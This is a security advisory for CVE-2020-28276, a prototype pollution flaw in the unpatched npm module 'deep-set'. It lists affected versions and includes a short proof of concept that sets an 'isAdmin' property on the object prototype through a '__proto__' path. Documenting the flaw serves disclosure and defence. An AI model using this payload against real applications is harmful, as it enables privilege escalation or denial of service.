Advisory

GHSA-wgxm-rg53-h2c6

Also known as: CVE-2020-28276

Summary

Prototype pollution vulnerability in 'deep-set'

Details

The NPM module 'deep-set' can be abused by Prototype Pollution vulnerability since the function deepSet() does not check for the type of object before assigning value to the property. Due to this flaw an attacker could create a non-existent property or able to manipulate the property which leads to Denial of Service or potentially Remote code execution.

PoC

var deepSet = require('deep-set')
var obj = {'1':'2'}
console.log(obj.isAdmin);
deepSet(obj, '__proto__.isAdmin', 'true')
console.log(obj.isAdmin);

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2022-05-24 17:37 UTC
Modified
2024-04-22 23:44 UTC

Affected packages and fixes

deep-set

npm · All systems

Affected

  • introduced 1.0.0, last affected 1.0.1 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences